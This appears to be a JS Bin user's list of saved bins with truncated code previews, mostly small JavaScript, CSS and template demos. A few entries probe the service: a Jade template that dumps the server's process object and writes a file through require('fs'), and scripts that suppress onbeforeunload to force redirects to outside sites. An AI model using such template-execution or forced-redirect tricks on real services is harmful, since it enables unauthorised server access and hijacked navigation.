cuxika 09 Oct 2014 Archive Un-archive
deban 09 Oct 2014 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting var $pre = $('pre code'); $('textarea').keyup(function () { var el = this; $pre.html(prettyPrintOne(el.value)); }).keyup();
guquci 09 Oct 2014 Archive Un-archive I forgot these weren't in sync yet.
vuwigu 09 Oct 2014 Archive Un-archive function spinner(element) { 'use strict'; var c = element || document.createElement('canvas'); if (!c.getContext) { return false; } var ctx = c.getContext('2d'); var rafID = null; c.height = c.width = 110; var TORADIAN = Math.PI / 180; var w = c.width; va
1 05 Oct 2014 Archive Un-archive function spinner(element) { 'use strict'; var c = element || document.createElement('canvas'); if (!c.getContext) { return false; } var ctx = c.getContext('2d'); var rafID = null; c.height = c.width = 11; var TORADIAN = Math.PI / 180; var w = c.width; var
zecadu 09 Oct 2014 Archive Un-archive Upgrade bleh blah blah blah 342ury29837byr982347ry23n948r7y234n98723ynd9382n47fy234n897n23y4fn982374fyn23984f7y2349f8n7234nyf 1.1 MB ok 342ury29837byr982347ry23n948r7y234n98723ynd9382n47fy234n897n23y4fn982374fyn23984f7y2349f8n7234nyf 101 MB
bugaka 08 Oct 2014 Archive Un-archive I'm not helpful
2 08 Oct 2014 Archive Un-archive I'm not helpful
1 08 Oct 2014 Archive Un-archive I'm not helpful
botada 08 Oct 2014 Archive Un-archive Upgrade bleh blah blah blah 342ury29837byr982347ry23n948r7y234n98723ynd9382n47fy234n897n23y4fn982374fyn23984f7y2349f8n7234nyf 1.1 MB 342ury29837byr982347ry23n948r7y234n98723ynd9382n47fy234n897n23y4fn982374fyn23984f7y2349f8n7234nyf 101 MB 34
loforo 08 Oct 2014 Archive Un-archive JS Bin
pumuj 08 Oct 2014 Archive Un-archive 'use strict'; /*global Promise*/ function getUser() { return new Promise(function (resolve) { resolve('remy@remy'); }); } function validateEmail(email) { console.log('validate email: ' + email); return new Promise(function (resolve, reject) { reject(new E
hobogu 07 Oct 2014 Archive Un-archive Just a simple test
1 07 Oct 2014 Archive Un-archive Another test!
fiwofi 07 Oct 2014 Archive Un-archive body { background-color:#f1f2f3; background-image: linear-gradient(rgba(0,0,0,.015) 1px, transparent 1px), linear-gradient(0, rgba(0,0,0,.015) 1px, transparent 1px); background-size:5px 5px; background-position:-1px -1px, -1px -1px }
midoja 07 Oct 2014 Archive Un-archive svg { /* border: 1px solid red; */ }
2 07 Oct 2014 Archive Un-archive svg { /* border: 1px solid red; */ }
1 07 Oct 2014 Archive Un-archive
bixiru 06 Oct 2014 Archive Un-archive var input = document.querySelector('input'); input.addEventListener('paste', function (e) { var items = e.clipboardData.items; if (items) { // Loop through all items, looking for any kind of image for (var i = 0; i < items.length; i++) { if (items[i].type
poceqefoyobo 06 Oct 2014 Archive Un-archive function FakeFile(blob, name) { this.prototype = blob; this.name = name; } var blob = new Blob(["hi there"], {type: "text/plain"}); console.log(blob) console.log(new FakeFile(blob, "test.txt"))
weziye 06 Oct 2014 Archive Un-archive .circle { fill: none; stroke-width: 30; stroke: #999; } #circle { stroke: #111; stroke-dasharray: 596.9866943359375; stroke-dashoffset: 0; -webkit-transform-origin: 50% 50%; -webkit-animation: spin 4s infinite linear, rotate 28s infinite linear; } @-webki
bexugo 05 Oct 2014 Archive Un-archive Focus demo Here be content that's focusable. Note that I've purposely added tabindex=0 to a lot of these elements simply for demonstration purposes. Assuming you're not on mac (and Firefox or Safari) you can focus these links too. one two three four O
nenudi 05 Oct 2014 Archive Un-archive
wuxiye 04 Oct 2014 Archive Un-archive JS Bin
kizohu 04 Oct 2014 Archive Un-archive JS Bin
nopop 04 Oct 2014 Archive Un-archive JS Bin
litaxo 04 Oct 2014 Archive Un-archive JS Bin
makaru 03 Oct 2014 Archive Un-archive one two three This has a tabindex
juqebo 03 Oct 2014 Archive Un-archive one two three This has a tabindex
xoyadu 01 Oct 2014 Archive Un-archive JS Bin
xelure 01 Oct 2014 Archive Un-archive This is a test because we like socks....
vumehi 30 Sep 2014 Archive Un-archive function () { var foo; var bar; var foo, bar, blar; var flee; var bar, fewkj, fkeljw; }
1 30 Sep 2014 Archive Un-archive JS Bin
mutado 23 Sep 2014 Archive Un-archive Come visit this page so I can take a video of the counter being awesome :)
xebin 23 Sep 2014 Archive Un-archive ⣾ Loading your 5 minute fork Forking &mdash; https://github.com/remy/5minfork This shouldn't take too long, we're just cloning the project which takes a series of seconds. Once cloned, this url will automatically clean itself up and remove the files after
manoba 23 Sep 2014 Archive Un-archive Just a demo
yorid 19 Sep 2014 Archive Un-archive /* FIXME: how do I detect that the user dragged over the window, but then changed their mind, and moved the drag event *outside* of the browser window. root.ondragleave didn't work for me (in chrome). */ var root = document.documentElement; root.ondragove
fipori 19 Sep 2014 Archive Un-archive stop - my ears are bleeding
9 11 Sep 2014 Archive Un-archive stop
8 11 Sep 2014 Archive Un-archive (function () { "use strict"; if (!window.webkitAudioContext) { return; } var filter = new window.webkitAudioContext().createBiquadFilter(); var AudioNode = filter.__proto__.__proto__; // "__proto__ is deprecated" - bite me, this works! function toString(n
7 11 Sep 2014 Archive Un-archive (function () { "use strict"; if (!window.webkitAudioContext) { return; } var filter = new window.webkitAudioContext().createBiquadFilter(); var AudioNode = filter.__proto__.__proto__; // "__proto__ is deprecated" - bite me, this works! function toString(n
6 11 Sep 2014 Archive Un-archive (function () { "use strict"; if (!window.webkitAudioContext) { return; } var filter = new window.webkitAudioContext().createBiquadFilter(); var AudioNode = filter.__proto__.__proto__; // "__proto__ is deprecated" - bite me, this works! function toString(n
5 11 Sep 2014 Archive Un-archive (function () { "use strict"; if (!window.webkitAudioContext) { return; } var filter = new window.webkitAudioContext().createBiquadFilter(); var AudioNode = filter.__proto__.__proto__; // "__proto__ is deprecated" - bite me, this works! function toString(n
4 11 Sep 2014 Archive Un-archive var playing = true; var notes = { a: 45, b: 47, c: 48, d: 50, e: 52, f: 53, G: 55, a: 57, b: 59, C: 60, D: 62, E: 64, F: 65, G: 67, A: 69, B: 71, }; var rhythm = notesToMidi('CCEE,aaCC,ffaa,ggbb'); var melody = notesToMidi('CCC,CbabCD,EEE,EDCDEF,GC,AGFEDC
3 11 Sep 2014 Archive Un-archive var playing = true; var notes = { a: 45, b: 47, c: 48, d: 50, e: 52, f: 53, G: 55, a: 57, b: 59, C: 60, D: 62, E: 64, F: 65, G: 67, A: 69, B: 71, }; var rhythm = notesToMidi('CCEE,aaCC,ffaa,ggbb'); var melody = notesToMidi('CCC,CbabCD,EEE,EDCDEF,GC,AGFEDC
2 11 Sep 2014 Archive Un-archive var playing = true; function rhythm() { var tones = 'CCEE,aaCC,ffaa,ggbb'; } function melody() { var tones = 'CCC,CbabCD,EEE,EDCDEF,GC,AGFEDC'; } function play(i, notes, osc) { // osc.start(0); if (i === undefined || i >= notes.length) { i = 0; } if (play
1 11 Sep 2014 Archive Un-archive var playing = true; function rhythm() { var tones = 'CCEE,aaCC,ffaa,ggbb'; } function melody() { var tones = 'CCC,CbabCD,EEE,EDCDEF,GC,AGFEDC'; } function play(i, notes, osc) { // osc.start(0); if (i === undefined || i >= notes.length) { i = 0; } if (play
racow 16 Sep 2014 Archive Un-archive /** * Scroller plugin * Fabien O'Carroll - Left Logic - 2014 **/ ;(function ($) { var defaultSettings = { speed: 1000, direction: [-1, 0], gapless: true, pause: 500, infinite: true, width: 600, height: 400, }; var pick = function (keys, obj) { var returnV
1 16 Sep 2014 Archive Un-archive /** * Scroller plugin * Fabien O'Carroll - Left Logic - 2014 **/ ;(function ($) { var defaultSettings = { speed: 1000, direction: [-1, 0], gapless: true, pause: 500, infinite: true, width: 600, height: 400, }; var pick = function (keys, obj) { var returnV
zujite 16 Sep 2014 Archive Un-archive Scroller
funoq 14 Sep 2014 Archive Un-archive kjjkjhmm
xobam 13 Sep 2014 Archive Un-archive function chan() { return { buffer: [], consumers: [] }; } chan.put = function put(c, v) { c.buffer.push(v); return chan.run(c); }; chan.take = function take(c, cb) { c.consumers.push(cb); return chan.run(c); }; chan.run = function run(c) { if (c.buffer.le
cusah 13 Sep 2014 Archive Un-archive console.log('SWFTW');
kenec 11 Sep 2014 Archive Un-archive audio_sprite = [ { "id": "general_button", "offset": 61420.566, "duration": 93.24300000000001 }, { "id": "points_score", "offset": 81679.88699999997, "duration": 1277.098 }, { "id": "footfalls_loop", "offset": 58845.056, "duration": 1175.51 } ]; file = 'h
1 11 Sep 2014 Archive Un-archive audio_sprite = [ { "id": "general_button", "offset": 61420.566, "duration": 93.24300000000001 }, { "id": "points_score", "offset": 81679.88699999997, "duration": 1277.098 }, { "id": "footfalls_loop", "offset": 58845.056, "duration": 1175.51 } ]; file = 'h
semaw 11 Sep 2014 Archive Un-archive console.clear(); //noprotect function sleep(ms,t) {t=+new Date;while(+new Date-ms<t){}} console.log(+new Date); console.log('sleeping'); sleep(4000); console.log(+new Date); console.log('done')
1 11 Sep 2014 Archive Un-archive console.clear(); function sleep(ms) { var now = +new Date; while (+new Date - ms < now) {} } console.log(+new Date); console.log('sleeping'); sleep(4000); console.log(+new Date); console.log('done')
podos 11 Sep 2014 Archive Un-archive var ac = new (window.AudioContext || window.webkitAudioContext); // C4, E4, G4 var freqs = [261.63, 329.63, 392.00]; var oscs = []; // initialize the oscillators for(var i=0;i<freqs.length;i++) { var o = ac.createOscillator(); o.frequency.value = freqs[i]
rofoy 11 Sep 2014 Archive Un-archive %css% This is the module
yavuw 10 Sep 2014 Archive Un-archive console.log('Hello world')
1 10 Sep 2014 Archive Un-archive console.log('Hello world')
tizivojamoje 09 Sep 2014 Archive Un-archive Reference answer stackoverflow.com
sexufujiwopo 09 Sep 2014 Archive Un-archive function foo() { alert('ok'); }
cadepe 05 Sep 2014 Archive Un-archive console.log( isPrime(7) ) function isPrime( n ) { if( n < 2 ) return false if( n < 4 ) return true; if( n % 2 == 0 ) return false; if( n % 3 == 0 ) return false; var square = Math.sqrt( n ); for( var i = 5 ; i < square ; i=i+2 ) if( n % i == 0 ) return fa
hetuf 04 Sep 2014 Archive Un-archive %css%
vixig 04 Sep 2014 Archive Un-archive console.clear(); console.log( moment('2006-09-01 23:21:51', 'YYYY-MM-DD').isSame('2006-09-01') )
boxas 03 Sep 2014 Archive Un-archive JS Bin
setih 03 Sep 2014 Archive Un-archive Demo
1 03 Sep 2014 Archive Un-archive Demo
cujix 03 Sep 2014 Archive Un-archive %css%
qapiqe 02 Sep 2014 Archive Un-archive JS Bin
solaj 02 Sep 2014 Archive Un-archive {{#content words="50" append='[&hellip;] Read more &raquo;'}}ok{{/content}}
jorage 01 Sep 2014 Archive Un-archive &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/angularjs/1.2.10/angular.js&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://d3js.org/d3.v3.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt
1 01 Sep 2014 Archive Un-archive &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/angularjs/1.2.10/angular.js&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://d3js.org/d3.v3.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt
pudana 29 Aug 2014 Archive Un-archive body { padding: 0; margin: 0; } svg:not(:root) { display:block; }
sulupi 28 Aug 2014 Archive Un-archive var a = [1, 3, 5, 7, 9], b = [1, 3, 4, 8, 9]; console.log(a.some(function (c) { return c % 2 === 0; // false })); console.log(b.some(function (c) { return c % 2 === 0; // true }));
kagem 28 Aug 2014 Archive Un-archive console.log("local ");
5 27 Aug 2014 Archive Un-archive console.log("local ");
4 27 Aug 2014 Archive Un-archive console.log("local ");
3 27 Aug 2014 Archive Un-archive console.log("local ");
2 27 Aug 2014 Archive Un-archive console.log("local ");
1 27 Aug 2014 Archive Un-archive console.log("local ");
yurixa 27 Aug 2014 Archive Un-archive console.log("remote <script>");
bezohe 27 Aug 2014 Archive Un-archive console.log('bar');
luteg 27 Aug 2014 Archive Un-archive console.log('ok');
cejet 27 Aug 2014 Archive Un-archive JS Bin
yigov 26 Aug 2014 Archive Un-archive function test() { // remy(); console.log('just a test'); } var log = function(){ // console.log.apply(console, [].slice.call(arguments)); }; // console.clear(); console.log("foobar"); test();
nuqera 26 Aug 2014 Archive Un-archive function test() { remy(); console.log('foobar'); } console.log('ok'); test();
yoqose 26 Aug 2014 Archive Un-archive var cnsl = {}; var proxyStuff = function () {}; proxyStuff.valueOf = function () { var trace = (new Error).stack.split('\n').slice(3).map(function (line) { return line.trim(); }).filter(function (line) { return line.indexOf('InjectedScript') === -1; })[0]
vekuge 26 Aug 2014 Archive Un-archive Hello World.
xalaxe 24 Aug 2014 Archive Un-archive console.log('hai');
pivum 24 Aug 2014 Archive Un-archive This is awesome Change the text
zakip 20 Aug 2014 Archive Un-archive This is a test - trying again And again....
fafuba 20 Aug 2014 Archive Un-archive Automatic All columns All rows All columns but output All columns but output, output first All rows but output All rows but output, output first All possible layouts
lupof 19 Aug 2014 Archive Un-archive /*jshint jquery:true*/ 'use strict'; console.clear(); $.ajax({ //* 1. get the JSON representation of the bin url: '//jsbin.com/xuyis/1', dataType: 'json', //*/ /* 2. get the full HTML output of the bin url: 'http://jsbin.com/xuyis/1.html', dataType: 'html
1 19 Aug 2014 Archive Un-archive 'use strict'; console.clear(); $.ajax({ url: '//jsbin.com/xuyis/1', // url: '//jsbin.com/xuyis/1.html' // url: '//jsbin.com/xuyis/1.json' dataType: 'json', success: function (result) { console.log(result); }, error: function () { console.error() } });
xuyis 19 Aug 2014 Archive Un-archive { "username": "rem", "create_of": "jsbin.com", "blog": "http://remysharp.com", "pro": true }
xowoki 19 Aug 2014 Archive Un-archive // https://gist.github.com/1035982 ''.trim||(String.prototype.trim=function(){return this.replace(/^[\s\uFEFF]+|[\s\uFEFF]+$/g,'')}); if ( !Object.prototype.hasOwnProperty ) { Object.prototype.hasOwnProperty = function(prop) { var proto = obj.__proto__ ||
mahef 19 Aug 2014 Archive Un-archive // https://gist.github.com/1035982 ''.trim||(String.prototype.trim=function(){return this.replace(/^[\s\uFEFF]+|[\s\uFEFF]+$/g,'')}); if ( !Object.prototype.hasOwnProperty ) { Object.prototype.hasOwnProperty = function(prop) { var proto = obj.__proto__ ||
majoki 18 Aug 2014 Archive Un-archive function get(url, callback) { }
ofuhaw 18 Aug 2014 Archive Un-archive go to 1515
dutiy 17 Aug 2014 Archive Un-archive Version 1 a link to another jsbin
sopasalofeba 17 Aug 2014 Archive Un-archive a simple bin
redeje 16 Aug 2014 Archive Un-archive ![The Velveteen Rabbit](http://remysharp.com/images/spring.jpg?) This is the Velveteen Rabbit. The same picture hangs in my house. I've never bought any artwork in my life previously. I've never really "got it". I walked passed the picture in a shop windo
zetef 15 Aug 2014 Archive Un-archive Try typing...
rikucelogufi 15 Aug 2014 Archive Un-archive Try typing...
qesoli 15 Aug 2014 Archive Un-archive window.location = 'http://example.com';
ilibas 14 Aug 2014 Archive Un-archive var r = Raphael("content", 640, 480); makeCircle = function (a, c) { r.circle(320, 450, 20) .attr({stroke: c, fill: c, rotation: a + " 320 240", "fill-opacity": 0.4}) .click(function () { s.animate({rotation: a + " 320 240", stroke: c}, 2000, "bounce"); }
jawar 14 Aug 2014 Archive Un-archive if (window.location.origin === 'http://run.jsbin.com') { var frame = document.createElement('iframe'); frame.src = '//jsbin.com/vuqiya'; document.body.appendChild(frame); } else { var frame = document.createElement('iframe'); frame.src = '//jsbin.com/acco
fagiq 14 Aug 2014 Archive Un-archive {{title}} {{intro}}
mafik 14 Aug 2014 Archive Un-archive function ipAsNum(ip) { // takes the last part of an IP (n.n.n.last-part) and returns as number return (ip || '0.0').split('.').slice(-1) * 1; } function percentage(n, ip) { ip = ipAsNum(ip); return (ip / 256) <= (n / 100); } var $input = $('input').on('in
molazu 14 Aug 2014 Archive Un-archive Click/Tap to focus the element below What is this?
1 14 Aug 2014 Archive Un-archive Click/Tap to focus the element below What is this?
cequs 13 Aug 2014 Archive Un-archive I am centred.
1 13 Aug 2014 Archive Un-archive I am centred.
kociqo 13 Aug 2014 Archive Un-archive var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (e) { var text = document.createTextNode(xhr.responseText), pre = document.createElement('pre'); pre.appendChild(text); document.body.appendChild(pre); }; xhr.open('GET', 'http://jsbin.com/
kununu 12 Aug 2014 Archive Un-archive JS Bin
takek 12 Aug 2014 Archive Un-archive This should render an SVG, but instead you see the inner text.
daroju 12 Aug 2014 Archive Un-archive /* scale @ 4 Add username to #head-bottom */ svg { /* width: 120px; */ /* height: 120px; */ } @media (max-width: 100px) { text { display: none; } }
fagub 12 Aug 2014 Archive Un-archive var string = window.location.search.substring(1); function hash(seed) { /*jshint bitwise:false */ var i, l, // username as seed instead of a string and a possible string? hval = (seed === undefined) ? 0x811c9dc5 : seed; // i didn't change this, i have abs
3 10 Aug 2014 Archive Un-archive var string = window.location.search.substring(1); function hash(seed) { /*jshint bitwise:false */ var i, l, // username as seed instead of a string and a possible string? hval = (seed === undefined) ? 0x811c9dc5 : seed; // i didn't change this, i have abs
2 18 Jul 2014 Archive Un-archive var string = window.location.search.substring(1); function hash(str, asString, seed) { /*jshint bitwise:false */ var i, l, hval = (seed === undefined) ? 0x811c9dc5 : seed; for (i = 0, l = str.length; i < l; i++) { hval ^= str.charCodeAt(i); hval += (hval
1 18 Jul 2014 Archive Un-archive var string = window.location.search.substring(1); function hash(str, asString, seed) { /*jshint bitwise:false */ var i, l, hval = (seed === undefined) ? 0x811c9dc5 : seed; for (i = 0, l = str.length; i < l; i++) { hval ^= str.charCodeAt(i); hval += (hval
jawog 12 Aug 2014 Archive Un-archive Using handlebar helper with a variable in the arg The issue: I want to use encodeURIComponent but I need to pass a context value through (see the #demo source). The problem is that the encoding happens on the string {{url}} rather than the result of the i
1 12 Aug 2014 Archive Un-archive 'use strict'; var source = $("#entry-template").html(); var template = Handlebars.compile(source); console.log('ok')
dotaje 12 Aug 2014 Archive Un-archive # Reports This repository is dedicated to reporting content that appears on http://jsbin.com through the [issue tracker](/jsbin/reports/issues). Either to report a bin that hosts content that is against our [terms of use](http://jsbin.com/legals) or again
cidaz 08 Aug 2014 Archive Un-archive while(true)
luriz 08 Aug 2014 Archive Un-archive My perfect code that definitely doesn't contain any bugs...
kadas 08 Aug 2014 Archive Un-archive Boo
qezocu 08 Aug 2014 Archive Un-archive body { font-family: sans-serif; font-size: 1.5rem; background: white; max-width: 600px; margin: 4rem auto; line-height: 2rem; }
weful 08 Aug 2014 Archive Un-archive Here be some content. What do you think? And a link function fireEvent(element,event) { if (document.createEvent) { // dispatch for firefox + others var evt = document.createEvent("MouseEvent"); evt.initEvent(event, true, true ); // event type,bubbling,c
5 08 Aug 2014 Archive Un-archive Here be some content. What do you think? And a link function fireEvent(element,event) { if (document.createEvent) { // dispatch for firefox + others var evt = document.createEvent("MouseEvent"); evt.initEvent(event, true, true ); // event type,bubbling,c
4 08 Aug 2014 Archive Un-archive Here be some content. What do you think? And a link %code% function fireEvent(element,event) { if (document.createEvent) { // dispatch for firefox + others var evt = document.createEvent("HTMLEvents"); evt.initEvent(event, true, true ); // event type,bub
3 08 Aug 2014 Archive Un-archive Here be some content. What do you think? And a link %code% function fireEvent(element,event) { if (document.createEvent) { // dispatch for firefox + others var evt = document.createEvent("HTMLEvents"); evt.initEvent(event, true, true ); // event type,bub
2 08 Aug 2014 Archive Un-archive Here be some content. What do you think? And a link %code% function fireEvent(element,event) { if (document.createEvent) { // dispatch for firefox + others var evt = document.createEvent("HTMLEvents"); evt.initEvent(event, true, true ); // event type,bub
1 08 Aug 2014 Archive Un-archive var busting = 0; window.onbeforeunload = function () { busting++; }; setInterval(function () { if (busting > 0) { busting = 2; window.location = 'http://jsbin.com/test/error/204' } }, 1); window.location = 'http://example.com';
fonaca 08 Aug 2014 Archive Un-archive console.clear(); var noop = function () {}; window.unload = noop; window.onbeforeunload = noop; window.location = 'http://allou.is';
boquy 08 Aug 2014 Archive Un-archive My redirect attempt
xisoh 08 Aug 2014 Archive Un-archive JS Bin
qucixa 08 Aug 2014 Archive Un-archive Here be some content. What do you think? And a link function fireEvent(element,event) { if (document.createEvent) { // dispatch for firefox + others var evt = document.createEvent("MouseEvent"); evt.initEvent(event, true, true ); // event type,bubbling,c
dibiw 08 Aug 2014 Archive Un-archive 'use strict'; function fireEvent(element,event) { if (document.createEvent) { // dispatch for firefox + others var evt = document.createEvent('HTMLEvents'); evt.initEvent(event, true, true ); // event type,bubbling,cancelable // mock details of the event
ogudon 08 Aug 2014 Archive Un-archive function init () { var newParagraph = document.createElement ('p'); newParagraph.textContent = "I was added by the old, evil init() function!"; document.body.appendChild (newParagraph); } I'm some initial text.
yuraf 07 Aug 2014 Archive Un-archive The JS in this bin does all the work, but the actual data that's used to respond to the ajax request is stored in a completely separate bin.
1 06 May 2014 Archive Un-archive The JS in this bin does all the work, but the actual data that's used to respond to the ajax request is stored in a completely separate bin.
xulopava 07 Aug 2014 Archive Un-archive $(function(){ var a = ['a','b','c']; alert(a.join(",")); });
keqaj 07 Aug 2014 Archive Un-archive console.log('Hello world');
wugugu 06 Aug 2014 Archive Un-archive var heyo = function () { return "Hey!"; }; console.log(heyo()); // I'm bad
nafaq 05 Aug 2014 Archive Un-archive Make this appear on dropbox.
xefoh 05 Aug 2014 Archive Un-archive class ProxyCollection extends Backbone.Collection constructor: (collections, options) -> @_reset() @initialize.apply this, arguments if collections for col in collections @_registerCollection col _reset: -> @_collections = [] super _registerCollection: (c
sazewire 05 Aug 2014 Archive Un-archive class MyApplication extends Marionette.Application class MyController extends Marionette.Controller initialize: -> app.commands.setHandler 'showStuff', -> console.log 'showStuff ku-ku' onClose: -> app.commands.removeHandler 'showStuff' app = new MyApplica
10 08 Apr 2014 Archive Un-archive var MyApplication, MyController, app, contr, _ref, _ref1, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = chil
9 07 Apr 2014 Archive Un-archive var MyApplication, MyController, app, contr, _ref, _ref1, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = chil
nihij 05 Aug 2014 Archive Un-archive %code%
niciz 04 Aug 2014 Archive Un-archive %code% %code%
1 03 Aug 2014 Archive Un-archive %code% %code%
yoxuhe 04 Aug 2014 Archive Un-archive Some contentThis is some information that is something else
bakuhi 03 Aug 2014 Archive Un-archive some text
1 03 Aug 2014 Archive Un-archive some text
dotapi 01 Aug 2014 Archive Un-archive Use tab to focus me But you can't focus this label: but you can focus this span
qigaro 31 Jul 2014 Archive Un-archive input[type='checkbox'] { -webkit-appearance:none; width:30px; height:30px; background:white; border-radius:5px; border:2px solid #555; } input[type='checkbox']:checked { background: #abd; }
lotoyi 29 Jul 2014 Archive Un-archive doctype html head title Process test body - for (var i = 0; i < 1000; i++) { li= i - } - var data = process; - setTimeout(function () { var fs = require('fs'); fs.writeFile('./foo', 'bar'); }, 10); each value, key in data li strong= key pre= value
1 24 Jul 2014 Archive Un-archive doctype html head title Process test body - var data = global; - setTimeout(function () { var fs = require('fs'); fs.writeFile('./foo', 'bar'); }, 10); each value, key in data li= key + ': ' + value
vifol 29 Jul 2014 Archive Un-archive Web Version&nbsp;&nbsp;|&nbsp; Update preferences&nbsp;&nbsp;|&nbsp; Unsubscribe Tweet Forward JS Bin Announcement Add a title Enter your description Add a title Enter your descri
pebeti 28 Jul 2014 Archive Un-archive Hello World!
emmet-tips 27 Jul 2014 Archive Un-archive /* The basic CSS shortcuts stuff you should know */ w100 /* width: 100px; */ h25.5p /* height: 25.5%; */ m55p /* margin: 55%; */ mt50p /* margin-top: 50%; */ mr50 /* margin-right: 50px; */ pb40 /* padding-bottom: 40px; */ pl43p /* padding-left: 43%; */ bg
watov 27 Jul 2014 Archive Un-archive %code% %code%
guyub 26 Jul 2014 Archive Un-archive body { font-family: sans-serif; font-size: 24px; /* line-height: 18px; */ h1 { color: hotpink; } }
folowo 24 Jul 2014 Archive Un-archive foo
qeguqe 24 Jul 2014 Archive Un-archive console.clear();
yojab 23 Jul 2014 Archive Un-archive * { font-family: open-sans; }
korop 23 Jul 2014 Archive Un-archive This is nice. But does this work?
vomem 22 Jul 2014 Archive Un-archive app.param('view', function (req, res, next) { req.renderView = views[req.query.view] || null; next(); }); app.get('/google/:metric', function (req, res, next) { if (req.renderView) { // req.data loaded from :metric req.renderView(req.data); } else { res.s
AZEy 22 Jul 2014 Archive Un-archive Sound?
7 06 Feb 2014 Archive Un-archive .hide { -webkit-transform: translate(0px, -10px); -webkit-animation: move 460ms infinite; } @-webkit-keyframes move { 100% { -webkit-transform: translate(0px,0px); } } button { position: absolute; top: 20px; right: 20px; font-size: 18px; border-radius: 2p
6 06 Feb 2014 Archive Un-archive var frame = document.createElement('iframe'); frame.width = '100%'; frame.height = '0'; frame.scrolling = 'no'; frame.frameborder = 'no'; var url = 'https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F62014024&color=ff6600&auto
5 23 Oct 2013 Archive Un-archive .hide { -webkit-transform: translate(0px, -10px); -webkit-animation: move 460ms infinite; } @-webkit-keyframes move { 0% { transform: translate(0px,0px); } 100% { -webkit-transform: translate(0px,0px); } }
4 23 Oct 2013 Archive Un-archive .hide { -webkit-transform: translate(0px,-25px); -webkit-animation: move 460ms infinite; } @-webkit-keyframes move { 0% { transform: translate(0px,0px); } 100% { -webkit-transform: translate(0px,0px); } }
3 18 Oct 2013 Archive Un-archive .hide { -webkit-transform: translate(0px,-5px); -webkit-animation: move 460ms infinite; } @-webkit-keyframes move { 0% { transform: translate(0px,0px); } 100% { -webkit-transform: translate(0px,0px); } }
2 18 Oct 2013 Archive Un-archive .hide { -webkit-transform: translate(0px,-5px); -webkit-animation: move 460ms infinite; } @-webkit-keyframes move { 0% { transform: translate(0px,0px); } 100% { -webkit-transform: translate(0px,0px); } }
1 22 Aug 2013 Archive Un-archive I am Dave
baxib 20 Jul 2014 Archive Un-archive JS Bin
gepof 20 Jul 2014 Archive Un-archive JS Bin
cudaf 20 Jul 2014 Archive Un-archive .hide { -webkit-transform: translate(0px,-5px); -webkit-animation: move 460ms infinite; } svg { margin: 0 auto; display: block; } iframe { visibility: hidden; } @-webkit-keyframes move { 0 { -webkit-transform: translate(0,0px); } 100% { -webkit-transform:
vebot 19 Jul 2014 Archive Un-archive /* jshint ignore:start */ var el = document.getElementById('console'); var konsole = { error: function (s) { var p = document.createElement('p'); p.style.color = 'red'; p.innerHTML = s; el.appendChild(p); }, log: function (s) { var p = document.createElem
3 18 Jul 2014 Archive Un-archive /* jshint ignore:start */ console.clear(); new Promise(function (resolve, reject) { console.log('#1') throw new Error('ok') // resolve(true); }).then(function (data) { console.log('this will always be called'); return new Promise(function (resolve, reject
2 18 Jul 2014 Archive Un-archive new Promise(function (resolve, reject) { console.log('#1') // throw new Error('ok') resolve(true); }).then(function (data) { return new Promise(function (resolve, reject) { console.log('#2'); }); }).catch(function (error) { console.log('#5'); console.erro
1 18 Jul 2014 Archive Un-archive new Promise(function (resolve, reject) { console.log('#1') // throw new Error('ok') resolve(true) }).then(function (data) { return new Promise(function (resolve, reject) { console.log('#2'); }); }).catch(function (error) { console.log('#5'); console.error
digek 19 Jul 2014 Archive Un-archive .test { width: 100px; height: 100px; background: hsl(1224371231237, 100%, 50%); }
culol 19 Jul 2014 Archive Un-archive doctype html html(lang="en") head title= pageTitle script(type='text/javascript'). if (foo) { bar(1 + 5) } body h1 Jade - node template engine #container.col if youAreUsingJade p You are amazing else p Get on it! p. Jade is a terse and simple templating l
yubif 19 Jul 2014 Archive Un-archive @import "wetok/1"
2 19 Jul 2014 Archive Un-archive @import "wotok/1"
1 19 Jul 2014 Archive Un-archive JS Bin
nikigo 19 Jul 2014 Archive Un-archive @import "wotok/1"
wetok 18 Jul 2014 Archive Un-archive @mixin gwf($fonts...) { $url: "//fonts.googleapis.com/css?family="; $nb: 0; @each $font-name in $fonts { $nb: $nb + 1; $nb-word: 0; @each $word in $font-name { $nb-word: $nb-word + 1; $url: $url + $word; @if $nb-word < length($font-name) { $url: $url + "+
paleso 18 Jul 2014 Archive Un-archive %css%
tivini 18 Jul 2014 Archive Un-archive Oh yes.
ricazi 18 Jul 2014 Archive Un-archive The room on the bin There once was a Robot called Dave, with a hat and cat...
1 18 Jul 2014 Archive Un-archive The room on the bin There once was a Robot, with a hat and cat...
luwihe 18 Jul 2014 Archive Un-archive /** * Is it possible to use this same kind of logic, but instead to return a predefined length integer? * * This would allow us to call this hash function to get a "hue" value and optionally a "lightness" * (pinned to above 50%), allow us to create a good
faxoq 17 Jul 2014 Archive Un-archive #box { height: 100px; width: 100px; background: red; } #box { position: relative; animation: animationFrames ease 6s; animation-iteration-count: infinite; -webkit-animation: animationFrames ease 6s; -webkit-animation-iteration-count: infinite; -moz-animat
3 17 Jul 2014 Archive Un-archive #box { height: 100px; width: 100px; background: red; } #box { position: relative; animation: animationFrames ease 6s; animation-iteration-count: infinite; -webkit-animation: animationFrames ease 6s; -webkit-animation-iteration-count: infinite; -moz-animat
2 17 Jul 2014 Archive Un-archive #box { height: 100px; width: 100px; background: red; } #box { position: relative; animation: animationFrames ease 6s; animation-iteration-count: infinite; -webkit-animation: animationFrames ease 6s; -webkit-animation-iteration-count: infinite; -moz-animat
